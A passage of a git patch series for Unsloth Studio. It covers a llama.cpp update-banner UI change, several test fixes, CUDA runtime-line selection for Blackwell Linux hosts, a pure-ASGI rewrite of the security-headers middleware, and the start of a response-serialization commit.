+  const sizeBytes = status?.update_size_bytes ?? null;
+  // Round to whole MB; these prebuilts are hundreds of MB.
+  const sizeLabel =
+    sizeBytes && sizeBytes > 0
+      ? `${Math.round(sizeBytes / (1024 * 1024))} MB`
+      : null;
   const updateProgress = status?.job.progress ?? null;
   const jobSucceeded = status?.job.state === "success";
   // Drives the bar so it animates continuously; aria reports the real value.
@@ -123,113 +126,110 @@ export function LlamaUpdateBanner({
     jobSucceeded,
   );
 
-  return (
-    <AnimatePresence>
-      {show ? (
-        <motion.div
-          initial={{ opacity: 0, y: 12, scale: 0.96 }}
-          animate={{ opacity: 1, y: 0, scale: 1 }}
-          exit={{ opacity: 0, y: 8, scale: 0.97 }}
-          transition={{ duration: 0.35, ease: EASE_OUT_QUART }}
-          className={cn(
-            positioned
-              ? "fixed bottom-4 right-4 z-[9998] w-[calc(100vw-2rem)] max-w-[400px]"
-              : "pointer-events-auto w-full",
-          )}
-          data-testid="llama-update-banner"
-        >
-          <div className="relative overflow-hidden rounded-[24px] bg-white px-5 pb-4 pt-5 shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] dark:bg-card dark:shadow-[0_8px_28px_-6px_rgba(0,0,0,0.28)]">
-            {applying ? null : (
-              <button
-                type="button"
-                onClick={dismiss}
-                className="absolute top-2.5 right-3 flex size-6 items-center justify-center rounded-full text-muted-foreground/60 transition-colors hover:bg-muted hover:text-foreground"
-                aria-label="Dismiss llama.cpp update notification"
-              >
-                <svg
-                  aria-hidden="true"
-                  width="12"
-                  height="12"
-                  viewBox="0 0 14 14"
-                  fill="none"
-                  xmlns="http://www.w3.org/2000/svg"
-                >
-                  <path
-                    d="M11 3L3 11M3 3l8 8"
-                    stroke="currentColor"
-                    strokeWidth="1.5"
-                    strokeLinecap="round"
-                  />
-                </svg>
-              </button>
-            )}
-
-            <div className="flex min-w-0 items-start gap-4 pr-6">
-              <Download
-                aria-hidden="true"
-                className="mt-1 size-5 shrink-0 text-foreground"
-                strokeWidth={1.75}
+  // Render with no enter/exit animation. An opacity/transform transition (in or
+  // out) promotes a GPU compositing layer whose creation or teardown can flash
+  // for a frame on real displays, which reads as a flicker on appear and on
+  // dismiss. A plain conditional mount appears and leaves cleanly.
+  return show ? (
+    <div
+      className={cn(
+        positioned
+          ? "fixed bottom-4 right-4 z-[9998] w-[calc(100vw-2rem)] max-w-[400px]"
+          : "pointer-events-auto w-full",
+      )}
+      data-testid="llama-update-banner"
+    >
+      <div className="relative overflow-hidden rounded-[24px] bg-white px-5 pb-4 pt-5 shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] dark:bg-card dark:shadow-[0_8px_28px_-6px_rgba(0,0,0,0.28)]">
+        {applying ? null : (
+          <button
+            type="button"
+            onClick={dismiss}
+            className="absolute top-2.5 right-3 flex size-6 items-center justify-center rounded-full text-muted-foreground/60 transition-colors hover:bg-muted hover:text-foreground"
+            aria-label="Dismiss llama.cpp update notification"
+          >
+            <svg
+              aria-hidden="true"
+              width="12"
+              height="12"
+              viewBox="0 0 14 14"
+              fill="none"
+              xmlns="http://www.w3.org/2000/svg"
+            >
+              <path
+                d="M11 3L3 11M3 3l8 8"
+                stroke="currentColor"
+                strokeWidth="1.5"
+                strokeLinecap="round"
               />
-              <div className="min-w-0">
-                <p className="font-heading text-base font-medium text-foreground">
-                  {applying ? "Updating llama.cpp..." : "New llama.cpp update"}
-                </p>
-                <p className="mt-0.5 text-xs text-muted-foreground">
-                  {status?.installed_tag ?? "unknown"} &rarr;{" "}
-                  <span className="font-medium text-foreground">
-                    {status?.latest_tag ?? ""}
-                  </span>
-                </p>
-                <p className="mt-1 text-[11px] text-muted-foreground/70">
-                  No restart needed after update
-                </p>
-              </div>
-            </div>
+            </svg>
+          </button>
+        )}
 
-            {applying ? (
-              <div
-                className="mb-1.5 mt-4 h-1 overflow-hidden rounded-full bg-muted"
-                role="progressbar"
-                aria-label="Updating llama.cpp"
-                aria-valuemin={0}
-                aria-valuemax={100}
-                aria-valuenow={
-                  updateProgress != null
-                    ? Math.round(updateProgress * 100)
-                    : Math.round(displayProgress * 100)
-                }
-                data-testid="llama-update-progress"
-              >
-                <div
-                  className="h-full rounded-full bg-primary"
-                  style={{ width: `${Math.max(displayProgress * 100, 2)}%` }}
-                />
-              </div>
-            ) : (
-              <div className="mt-2 flex flex-wrap items-center justify-end gap-x-1 gap-y-2">
-                <Button
-                  size="sm"
-                  variant="ghost"
-                  className="h-auto rounded-full px-3 py-2 text-[13px] font-medium text-foreground"
-                  onClick={snooze}
-                  data-testid="llama-update-snooze-button"
-                >
-                  Remind me later
-                </Button>
-                <Button
-                  size="sm"
-                  // -mr optically aligns the filled pill's edge with the card padding
-                  className="-mr-1 h-auto rounded-full px-3.5 py-2 text-[13px]"
-                  onClick={handleUpdate}
-                  data-testid="llama-update-button"
-                >
-                  Update
-                </Button>
-              </div>
-            )}
+        <div className="flex min-w-0 items-start gap-4 pr-6">
+          <Download
+            aria-hidden="true"
+            className="mt-1 size-5 shrink-0 text-foreground"
+            strokeWidth={1.75}
+          />
+          <div className="min-w-0">
+            <p className="font-heading text-base font-medium text-foreground">
+              {applying ? "Updating llama.cpp..." : "New llama.cpp update"}
+            </p>
+            <p className="mt-0.5 text-xs text-muted-foreground">
+              {status?.installed_tag ?? "unknown"} &rarr;{" "}
+              <span className="font-medium text-foreground">
+                {status?.latest_tag ?? ""}
+              </span>
+            </p>
+            <p className="mt-1 text-[11px] text-muted-foreground/70">
+              {sizeLabel ? `${sizeLabel} download · ` : ""}No restart needed
+              after update
+            </p>
           </div>
-        </motion.div>
-      ) : null}
-    </AnimatePresence>
-  );
+        </div>
+
+        {applying ? (
+          <div
+            className="mb-1.5 mt-4 h-1 overflow-hidden rounded-full bg-muted"
+            role="progressbar"
+            aria-label="Updating llama.cpp"
+            aria-valuemin={0}
+            aria-valuemax={100}
+            aria-valuenow={
+              updateProgress != null
+                ? Math.round(updateProgress * 100)
+                : Math.round(displayProgress * 100)
+            }
+            data-testid="llama-update-progress"
+          >
+            <div
+              className="h-full rounded-full bg-primary"
+              style={{ width: `${Math.max(displayProgress * 100, 2)}%` }}
+            />
+          </div>
+        ) : (
+          <div className="mt-2 flex flex-wrap items-center justify-end gap-x-1 gap-y-2">
+            <Button
+              size="sm"
+              variant="ghost"
+              className="h-auto rounded-full px-3 py-2 text-[13px] font-medium text-foreground"
+              onClick={snooze}
+              data-testid="llama-update-snooze-button"
+            >
+              Remind me later
+            </Button>
+            <Button
+              size="sm"
+              // -mr optically aligns the filled pill's edge with the card padding
+              className="-mr-1 h-auto rounded-full px-3.5 py-2 text-[13px]"
+              onClick={handleUpdate}
+              data-testid="llama-update-button"
+            >
+              Update
+            </Button>
+          </div>
+        )}
+      </div>
+    </div>
+  ) : null;
 }
diff --git a/studio/frontend/src/hooks/use-llama-update-check.ts b/studio/frontend/src/hooks/use-llama-update-check.ts
index 5fcacab521..ccfbb0d377 100644
--- a/studio/frontend/src/hooks/use-llama-update-check.ts
+++ b/studio/frontend/src/hooks/use-llama-update-check.ts
@@ -31,6 +31,8 @@ export interface LlamaUpdateStatus {
   update_available: boolean;
   installed_tag: string | null;
   latest_tag: string | null;
+  // Download size of the prebuilt Update would fetch, in bytes (null if unknown).
+  update_size_bytes: number | null;
   job: LlamaUpdateJob;
 }
 
@@ -43,6 +45,8 @@ function parseStatus(value: unknown): LlamaUpdateStatus | null {
     update_available: s.update_available === true,
     installed_tag: typeof s.installed_tag === "string" ? s.installed_tag : null,
     latest_tag: typeof s.latest_tag === "string" ? s.latest_tag : null,
+    update_size_bytes:
+      typeof s.update_size_bytes === "number" ? s.update_size_bytes : null,
     job: {
       state: (job.state as LlamaUpdateJob["state"]) ?? "idle",
       message: typeof job.message === "string" ? job.message : "",

From 79b57fe038d419092d216f7d08b1867e71b4404b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 17 Jun 2026 22:30:30 -0700
Subject: [PATCH 51/91] studio: fix tests turning main CI red/flaky
 (kill-process, install overrides, UI re-login) (#6419)

* studio: set _stats_logger in kill-process test backend

#6377 added a self._stats_logger cleanup step to _kill_process's finally block.
test_kill_process_records_timestamp_on_actual_kill (added in #6400) builds the
backend via __new__, which bypasses __init__ where _stats_logger is set, so once
both landed on main the test raised AttributeError: 'LlamaCppBackend' object has
no attribute '_stats_logger'. Set _stats_logger on the hand-built backend,
mirroring __init__, so the kill path's finally has the attribute it expects.

* test: assert torchao override step on normal Linux, not overrides.txt

#6400 moved the torchao dependency override from a fixed pin in overrides.txt to
a torch-matched spec installed via --force-reinstall (_select_torchao_spec), and
turned overrides.txt into a comment-only pointer. It updated the Windows variant
(test_windows_only_includes_overrides) to check for --reinstall, but left
test_normal_linux_includes_overrides asserting overrides.txt is installed, which
no longer happens. Check for the override step (--reinstall) instead, matching
the Windows test.

* test(ui): tolerate ERR_ABORTED on /login re-login in shutdown step

The Shutdown step re-logs in after a CLI password rotation that revoked the prior
token. The SPA auth guard can client-side-redirect mid-navigation against the
stale token, aborting page.goto("/login") with net::ERR_ABORTED. It is a race
(passes on main most of the time). Resolve on domcontentloaded and tolerate the
abort, relying on the password-field wait that follows to confirm we reached
/login, matching the wait_until used by the other navigations in this file.
---
 .../tests/test_llama_cpp_wait_for_vram_settle.py     |  1 +
 tests/python/test_no_torch_filtering.py              | 12 ++++++++----
 tests/studio/playwright_chat_ui.py                   | 11 ++++++++++-
 3 files changed, 19 insertions(+), 5 deletions(-)

diff --git a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
index 7f1d0c8a42..91979e3e0f 100644
--- a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
+++ b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
@@ -281,6 +281,7 @@ def test_kill_process_records_timestamp_on_actual_kill():
     backend = LlamaCppBackend.__new__(LlamaCppBackend)
     backend._process = None
     backend._healthy = False
+    backend._stats_logger = None  # _kill_process stops it in finally
     backend._stdout_thread = None
     backend._llama_log_fh = None
     backend._last_kill_monotonic = 0.0
diff --git a/tests/python/test_no_torch_filtering.py b/tests/python/test_no_torch_filtering.py
index f7a90fc6a8..22cf04a513 100644
--- a/tests/python/test_no_torch_filtering.py
+++ b/tests/python/test_no_torch_filtering.py
@@ -471,11 +471,15 @@ class TestInstallPythonStackSubprocessMock:
     # -- Normal Linux path (NO_TORCH=False, IS_MACOS=False, IS_WINDOWS=False) --
 
     def test_normal_linux_includes_overrides(self):
-        """Normal Linux: overrides.txt IS called."""
+        """Normal Linux: the torchao override step IS called.
+
+        The override step installs a torch-matched torchao spec via
+        --force-reinstall (uv: --reinstall), not overrides.txt directly.
+        """
         cmds = self._capture_install(no_torch = False, is_macos = False, is_windows = False)
-        assert self._cmds_contain_file(
-            cmds, "overrides.txt"
-        ), "overrides.txt should be called on normal Linux"
+        assert any(
+            "--reinstall" in cmd for cmd in cmds
+        ), "torchao override step (--reinstall) should be called on normal Linux"
 
     def test_normal_linux_includes_triton(self):
         """Normal Linux: triton-kernels.txt IS called."""
diff --git a/tests/studio/playwright_chat_ui.py b/tests/studio/playwright_chat_ui.py
index 4739d519d9..9cfb33d427 100644
--- a/tests/studio/playwright_chat_ui.py
+++ b/tests/studio/playwright_chat_ui.py
@@ -1430,7 +1430,16 @@ with sync_playwright() as p:
     # Re-login through the UI with NEW2 so the browser has a valid
     # access token for the /api/shutdown call (the previous one
     # was invalidated by the CLI rotation above).
-    page.goto(f"{BASE}/login")
+    # The CLI rotation left a stale token, so the SPA auth guard can
+    # client-side-redirect mid-navigation and abort this goto with
+    # net::ERR_ABORTED. Resolve on domcontentloaded and tolerate the
+    # abort; the password-field wait below confirms we reached /login.
+    try:
+        page.goto(f"{BASE}/login", wait_until = "domcontentloaded", timeout = 60_000)
+    except Exception as exc:
+        if "ERR_ABORTED" not in str(exc):
+            raise
+        info(f"goto /login aborted ({exc!r}); password-field wait will confirm /login")
     pw_field = page.locator("#password")
     pw_field.wait_for(state = "visible", timeout = 60_000)
     pw_field.fill(NEW2)

From 77acea751c6489a4b9e0c0566509b6b144a237a8 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 17 Jun 2026 22:33:47 -0700
Subject: [PATCH 52/91] Studio: prefer native cuda13 over torch's cuda12 line
 on Blackwell Linux hosts (#6379)

The Linux installer ordered its CUDA runtime-line attempts purely by torch's
reported CUDA major (preferred_runtime_line), so a Blackwell host running a
cu12x torch build hoisted cuda12 ahead of an available native cuda13 bundle.
This brings the Linux selector to parity with the existing Windows Blackwell
preference: on an sm_120 host, prefer the highest CUDA-major line that ships
a bundle covering every visible host SM, then fall back to the torch line.

Selection-time only. No external pin and no source build: in-release cuda13
bundles already cover sm_120, and the per-artifact SM filter still drops any
incapable bundle (cuda12-older / cuda13-older) and prevents fall-through to a
non-Blackwell build. The override is gated on _host_is_blackwell and only
reorders lines that are already detected and driver-compatible, so it never
forces cuda13 when its runtime libraries are absent or the driver is pre-13,
and non-Blackwell hosts keep the exact torch-preference behavior.

The runtime-line ranking only considers well-formed "cuda<major>" lines and
skips any malformed or future-format value (e.g. "cuda13.1") instead of
crashing the major sort, matching how the surrounding selector already
tolerates unknown lines.

Adds focused selection tests covering the override, the incapable-cuda13
skip, the cuda13-unavailable fallback, the non-Blackwell no-op, the
malformed-runtime_line skip, and cuda14 forward-compat.
---
 studio/install_llama_prebuilt.py             |  46 ++++++-
 tests/studio/install/test_selection_logic.py | 130 +++++++++++++++++++
 2 files changed, 175 insertions(+), 1 deletion(-)

diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index b33d0b6325..111a0485e9 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -2178,6 +2178,30 @@ def _sm_range(artifact: PublishedLlamaArtifact) -> int:
     return 9999
 
 
+def _blackwell_capable_linux_runtime_lines(
+    host_sms: list[str], artifacts: list[PublishedLlamaArtifact]
+) -> list[str]:
+    """CUDA runtime lines (highest major first) shipping a bundle that covers every
+    visible host SM. Lets a Blackwell host prefer a native sm_120 line over torch's
+    reported line, mirroring the Windows Blackwell preference."""
+    lines: set[str] = set()
+    for artifact in artifacts:
+        line = artifact.runtime_line
+        # Only rank "cuda<major>" lines; ignore malformed/future-format values
+        # (e.g. "cuda13.1") so they are skipped, as pre-existing code does, rather
+        # than crashing the major sort.
+        if not (line and line.startswith("cuda") and line[len("cuda") :].isdigit()):
+            continue
+        if not artifact.supported_sms or artifact.min_sm is None or artifact.max_sm is None:
+            continue
+        supported = {str(value) for value in artifact.supported_sms}
+        if all(
+            sm in supported and artifact.min_sm <= int(sm) <= artifact.max_sm for sm in host_sms
+        ):
+            lines.add(line)
+    return sorted(lines, key = lambda line: int(line[len("cuda") :]), reverse = True)
+
+
 def linux_cuda_choice_from_release(
     host: HostInfo,
     release: PublishedReleaseBundle,
@@ -2240,7 +2264,27 @@ def linux_cuda_choice_from_release(
         )
         return None
 
-    if preferred_runtime_line:
+    blackwell_lines = (
+        [
+            line
+            for line in _blackwell_capable_linux_runtime_lines(host_sms, published_artifacts)
+            if line in ordered_runtime_lines
+        ]
+        if _host_is_blackwell(host)
+        else []
+    )
+    if blackwell_lines:
+        # Blackwell host: prefer the highest CUDA-major line shipping an sm_120 bundle
+        # over torch's line (matches the Windows Blackwell preference).
+        ordered_runtime_lines = blackwell_lines + [
+            line for line in ordered_runtime_lines if line not in blackwell_lines
+        ]
+        selection_log.append(
+            "linux_cuda_selection: blackwell_runtime_override prefer="
+            + ",".join(blackwell_lines)
+            + (f" over torch_preferred={preferred_runtime_line}" if preferred_runtime_line else "")
+        )
+    elif preferred_runtime_line:
         if preferred_runtime_line in ordered_runtime_lines:
             ordered_runtime_lines = [preferred_runtime_line] + [
                 runtime_line
diff --git a/tests/studio/install/test_selection_logic.py b/tests/studio/install/test_selection_logic.py
index 0282370fe0..6f15ca6c72 100644
--- a/tests/studio/install/test_selection_logic.py
+++ b/tests/studio/install/test_selection_logic.py
@@ -1248,6 +1248,136 @@ class TestLinuxCudaChoiceFromRelease:
         log_entries = result.selection_log
         assert any("unavailable_on_host" in entry for entry in log_entries)
 
+    def test_blackwell_prefers_cuda13_over_torch_cuda12(self, monkeypatch):
+        # Blackwell host with both lines sm_120-capable: cuda13 wins over torch's cuda12.
+        mock_linux_runtime(monkeypatch, ["cuda13", "cuda12"])
+        host = make_host(driver_cuda_version = (13, 0), compute_caps = ["120"])
+        art12 = make_artifact(
+            "bundle-cuda12-newer.tar.gz",
+            runtime_line = "cuda12",
+            supported_sms = ["86", "120"],
+            min_sm = 86,
+            max_sm = 120,
+        )
+        art13 = make_artifact(
+            "bundle-cuda13-newer.tar.gz",
+            runtime_line = "cuda13",
+            supported_sms = ["86", "120"],
+            min_sm = 86,
+            max_sm = 120,
+        )
+        release = make_release([art12, art13])
+        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda12")
+        assert result is not None
+        assert result.primary.runtime_line == "cuda13"
+        assert any("blackwell_runtime_override" in entry for entry in result.selection_log)
+
+    def test_blackwell_skips_incapable_cuda13_line(self, monkeypatch):
+        # cuda13 line cannot cover sm_120 (only an -older bundle): stay on native cuda12.
+        mock_linux_runtime(monkeypatch, ["cuda13", "cuda12"])
+        host = make_host(driver_cuda_version = (13, 0), compute_caps = ["120"])
+        art13_older = make_artifact(
+            "bundle-cuda13-older.tar.gz",
+            runtime_line = "cuda13",
+            supported_sms = ["75", "86", "89"],
+            min_sm = 75,
+            max_sm = 89,
+        )
+        art12_newer = make_artifact(
+            "bundle-cuda12-newer.tar.gz",
+            runtime_line = "cuda12",
+            supported_sms = ["86", "120"],
+            min_sm = 86,
+            max_sm = 120,
+        )
+        release = make_release([art13_older, art12_newer])
+        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda12")
+        assert result is not None
+        assert result.primary.runtime_line == "cuda12"
+        assert result.primary.name == "bundle-cuda12-newer.tar.gz"
+
+    def test_blackwell_cuda13_unavailable_uses_cuda12(self, monkeypatch):
+        # cuda13 runtime libs absent: override never forces an undetected line.
+        mock_linux_runtime(monkeypatch, ["cuda12"])
+        host = make_host(driver_cuda_version = (13, 0), compute_caps = ["120"])
+        art12 = make_artifact(
+            "bundle-cuda12-newer.tar.gz",
+            runtime_line = "cuda12",
+            supported_sms = ["86", "120"],
+            min_sm = 86,
+            max_sm = 120,
+        )
+        release = make_release([art12])
+        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda12")
+        assert result is not None
+        assert result.primary.runtime_line == "cuda12"
+
+    def test_non_blackwell_keeps_torch_preference(self, monkeypatch):
+        # Non-Blackwell host: torch preference is untouched, no override.
+        mock_linux_runtime(monkeypatch, ["cuda13", "cuda12"])
+        host = make_host(driver_cuda_version = (13, 0), compute_caps = ["86"])
+        art12 = make_artifact(
+            "bundle-cuda12.tar.gz",
+            runtime_line = "cuda12",
+            supported_sms = ["86"],
+            min_sm = 86,
+            max_sm = 86,
+        )
+        art13 = make_artifact(
+            "bundle-cuda13.tar.gz",
+            runtime_line = "cuda13",
+            supported_sms = ["86"],
+            min_sm = 86,
+            max_sm = 86,
+        )
+        release = make_release([art12, art13])
+        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda12")
+        assert result is not None
+        assert result.primary.runtime_line == "cuda12"
+        assert not any("blackwell_runtime_override" in entry for entry in result.selection_log)
+
+    def test_blackwell_ignores_malformed_runtime_line(self, monkeypatch):
+        # A malformed/future-format runtime_line must be skipped, never crash the major sort.
+        mock_linux_runtime(monkeypatch, ["cuda13", "cuda12"])
+        host = make_host(driver_cuda_version = (13, 0), compute_caps = ["120"])
+        bad = make_artifact(
+            "bundle-cudaX.tar.gz",
+            runtime_line = "cudaX",
+            supported_sms = ["86", "120"],
+            min_sm = 86,
+            max_sm = 120,
+        )
+        art13 = make_artifact(
+            "bundle-cuda13-newer.tar.gz",
+            runtime_line = "cuda13",
+            supported_sms = ["86", "120"],
+            min_sm = 86,
+            max_sm = 120,
+        )
+        release = make_release([bad, art13])
+        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda12")
+        assert result is not None
+        assert result.primary.runtime_line == "cuda13"
+
+    def test_blackwell_prefers_cuda14_over_lower_majors(self, monkeypatch):
+        # Forward-compat: the highest sm_120-capable CUDA major wins.
+        mock_linux_runtime(monkeypatch, ["cuda14", "cuda13", "cuda12"])
+        host = make_host(driver_cuda_version = (14, 0), compute_caps = ["120"])
+        arts = [
+            make_artifact(
+                f"bundle-{rtl}.tar.gz",
+                runtime_line = rtl,
+                supported_sms = ["86", "120"],
+                min_sm = 86,
+                max_sm = 120,
+            )
+            for rtl in ("cuda12", "cuda13", "cuda14")
+        ]
+        release = make_release(arts)
+        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda12")
+        assert result is not None
+        assert result.primary.runtime_line == "cuda14"
+
     def test_arm64_host_selects_linux_arm64_cuda_kind(self, monkeypatch):
         # An arm64 CUDA host (DGX Spark / Grace Hopper) selects the
         # linux-arm64-cuda bundle and ignores the x64 linux-cuda one.

From a74ba71c07691bf6a5548ca54f7da093972cc13d Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 17 Jun 2026 22:37:21 -0700
Subject: [PATCH 53/91] Studio: convert SecurityHeadersMiddleware to pure ASGI
 (#6394)

* Studio: convert SecurityHeadersMiddleware to pure ASGI

SecurityHeadersMiddleware was the last BaseHTTPMiddleware in the global stack,
so every response (including SSE streams) was wrapped in an anyio stream that
penalizes streaming. Rewrite it as a pure-ASGI middleware that mutates the
response-start headers, mirroring the logging-middleware rewrite in #6337.

The header logic is unchanged: it uses MutableHeaders over the start message,
so the same get/del/setdefault calls apply (CSP nonce splice and strip,
X-Frame-Options skip on Colab and the artifact-preview frame, the baseline
nosniff/Referrer-Policy/Permissions-Policy/server headers). The existing
middleware tests cover it; added cases assert headers still apply to a
streaming response and that the artifact-preview path omits X-Frame-Options.

* Studio: harden ASGI header coercion in SecurityHeadersMiddleware

Review follow-up. MutableHeaders mutates its raw list in place, so if a server
sends http.response.start with tuple-valued or missing headers the mutation
would raise. Coerce to a list (defaulting to empty) before wrapping, then inject
the same security headers as before. Also drop a stray em dash in a comment.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/main.py                  | 68 ++++++++++++++++---------
 studio/backend/tests/test_middleware.py | 67 ++++++++++++++++++++++++
 2 files changed, 112 insertions(+), 23 deletions(-)

diff --git a/studio/backend/main.py b/studio/backend/main.py
index 08c7bc6826..aaeb7917d8 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -492,8 +492,7 @@ app.add_middleware(LoggingMiddleware)
 
 # img/media-src allow any https origin so HF model-card assets render (mirrors
 # tauri.conf.json); scripts/frames/connect-src stay same-origin + HF.
-from starlette.middleware.base import BaseHTTPMiddleware  # noqa: E402
-from starlette.requests import Request as _StarletteRequest  # noqa: E402
+from starlette.datastructures import MutableHeaders  # noqa: E402
 
 
 _CSP_SCRIPT_NONCE_HEADER = "x-internal-script-nonce"
@@ -549,28 +548,51 @@ def _build_csp(script_nonce: "str | None" = None) -> str:
     )
 
 
-class SecurityHeadersMiddleware(BaseHTTPMiddleware):
-    """Set baseline security headers; splice per-response inline-script nonces into CSP."""
+class SecurityHeadersMiddleware:
+    """Set baseline security headers; splice per-response inline-script nonces into CSP.
 
-    async def dispatch(self, request: _StarletteRequest, call_next):
-        response = await call_next(request)
-        # Strip the internal nonce hand-off header so it never reaches the client
-        nonce = response.headers.get(_CSP_SCRIPT_NONCE_HEADER)
-        if nonce is not None:
-            del response.headers[_CSP_SCRIPT_NONCE_HEADER]
-        response.headers.setdefault("Content-Security-Policy", _build_csp(nonce))
-        # Omit X-Frame-Options in Colab — CSP frame-ancestors handles it, and
-        # DENY would block serve_kernel_port_as_iframe regardless of CSP.
-        if not _IS_COLAB and request.url.path != _ARTIFACT_PREVIEW_FRAME_PATH:
-            response.headers.setdefault("X-Frame-Options", "DENY")
-        response.headers.setdefault("X-Content-Type-Options", "nosniff")
-        response.headers.setdefault("Referrer-Policy", "no-referrer")
-        response.headers.setdefault(
-            "Permissions-Policy",
-            "camera=(), microphone=(self), geolocation=()",
-        )
-        response.headers["server"] = "unsloth-studio"
-        return response
+    Pure ASGI (not BaseHTTPMiddleware) so streaming responses are not wrapped in
+    an anyio stream. Header logic mirrors the prior version exactly via
+    MutableHeaders on the response-start message.
+    """
+
+    def __init__(self, app):
+        self.app = app
+
+    async def __call__(self, scope, receive, send):
+        if scope["type"] != "http":
+            await self.app(scope, receive, send)
+            return
+        path = scope.get("path", "")
+
+        async def send_wrapper(message):
+            if message["type"] == "http.response.start":
+                # ASGI headers are an iterable; coerce to a list so MutableHeaders
+                # can mutate in place even if a server sends a tuple or omits it.
+                raw = message.setdefault("headers", [])
+                if not isinstance(raw, list):
+                    raw = list(raw)
+                    message["headers"] = raw
+                headers = MutableHeaders(raw = raw)
+                # Strip the internal nonce hand-off header so it never reaches the client
+                nonce = headers.get(_CSP_SCRIPT_NONCE_HEADER)
+                if nonce is not None:
+                    del headers[_CSP_SCRIPT_NONCE_HEADER]
+                headers.setdefault("Content-Security-Policy", _build_csp(nonce))
+                # Omit X-Frame-Options in Colab: CSP frame-ancestors handles it, and
+                # DENY would block serve_kernel_port_as_iframe regardless of CSP.
+                if not _IS_COLAB and path != _ARTIFACT_PREVIEW_FRAME_PATH:
+                    headers.setdefault("X-Frame-Options", "DENY")
+                headers.setdefault("X-Content-Type-Options", "nosniff")
+                headers.setdefault("Referrer-Policy", "no-referrer")
+                headers.setdefault(
+                    "Permissions-Policy",
+                    "camera=(), microphone=(self), geolocation=()",
+                )
+                headers["server"] = "unsloth-studio"
+            await send(message)
+
+        await self.app(scope, receive, send_wrapper)
 
 
 app.add_middleware(SecurityHeadersMiddleware)
diff --git a/studio/backend/tests/test_middleware.py b/studio/backend/tests/test_middleware.py
index 1005431926..6379fc88e0 100644
--- a/studio/backend/tests/test_middleware.py
+++ b/studio/backend/tests/test_middleware.py
@@ -293,6 +293,73 @@ class TestSecurityHeadersMiddleware:
             # not read directive-string `in` membership as URL sanitisation.
             assert any(src == "https:" for src in directives[name])
 
+    def test_headers_applied_to_streaming_response(self, main_module):
+        # The ASGI middleware must set headers on streaming responses too.
+        from fastapi.responses import StreamingResponse
+
+        app = FastAPI()
+        app.add_middleware(main_module.SecurityHeadersMiddleware)
+
+        @app.get("/stream")
+        async def stream():
+            async def gen():
+                yield b"a"
+                yield b"b"
+
+            return StreamingResponse(gen(), media_type = "text/plain")
+
+        r = TestClient(app).get("/stream")
+        assert r.status_code == 200
+        assert r.text == "ab"
+        assert r.headers["x-content-type-options"] == "nosniff"
+        assert r.headers["server"] == "unsloth-studio"
+        assert "content-security-policy" in r.headers
+
+    def test_artifact_preview_frame_omits_x_frame_options(self, main_module):
+        app = FastAPI()
+        app.add_middleware(main_module.SecurityHeadersMiddleware)
+
+        @app.get(main_module._ARTIFACT_PREVIEW_FRAME_PATH)
+        async def frame():
+            return Response(content = b"<html></html>", media_type = "text/html")
+
+        r = TestClient(app).get(main_module._ARTIFACT_PREVIEW_FRAME_PATH)
+        assert r.status_code == 200
+        assert "x-frame-options" not in {k.lower() for k in r.headers.keys()}
+        assert r.headers["referrer-policy"] == "no-referrer"
+
+    def test_response_start_with_tuple_headers_is_hardened(self, main_module):
+        # An ASGI server may emit tuple-valued raw headers; the middleware must
+        # coerce to a list and still inject security headers without crashing.
+        import asyncio
+
+        async def _inner_app(scope, receive, send):
+            await send(
+                {
+                    "type": "http.response.start",
+                    "status": 200,
+                    "headers": ((b"content-type", b"text/plain"),),  # tuple, not list
+                }
+            )
+            await send({"type": "http.response.body", "body": b"ok"})
+
+        captured = {}
+
+        async def _send(message):
+            if message["type"] == "http.response.start":
+                captured["headers"] = dict(message["headers"])
+
+        async def _receive():
+            return {"type": "http.request"}
+
+        mw = main_module.SecurityHeadersMiddleware(_inner_app)
+        asyncio.run(mw({"type": "http", "path": "/plain"}, _receive, _send))
+
+        hdrs = captured["headers"]
+        assert hdrs[b"server"] == b"unsloth-studio"
+        assert b"content-security-policy" in hdrs
+        assert hdrs[b"x-frame-options"] == b"DENY"
+
 
 # /api/health auth gate
 

From a35fbe22eacdfad8b19e6f1842b7ac74cd4ff855 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 17 Jun 2026 22:38:02 -0700
Subject: [PATCH 54/91] Studio: serialize non-streaming responses once and pool
 the proxy client (#6393)

* Studio: serialize non-streaming responses once and pool the proxy client

Two safe latency wins on the OpenAI/Anthropic-compatible endpoints that leave
the streaming generation paths untouched (they keep Connection: close and
max_keepalive_connections=0 so a client disconnect still stops GPU decode).

1. Non-streaming responses used JSONResponse(content=model.model_dump()), which
   builds a dict and then re-runs json.dumps. Serialize once with
   model.model_dump_json() via a small _model_json_response helper. The body is
   byte-identical (nulls preserved), about 3x faster to encode in a microbench.

2. The non-streaming completions and embeddings proxies built a fresh
   httpx.AsyncClient per request. Route them through one pooled client
   (core/inference/llama_http) closed on shutdown; streaming generation keeps
   its own per-request close-only client. About 5x faster per call to the
   local llama-server in a microbench.

The existing API-monitor tests for the non-streaming completions, embeddings
and passthrough paths now patch nonstreaming_client instead of httpx.AsyncClient
to match the pooled client, so they stay deterministic.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

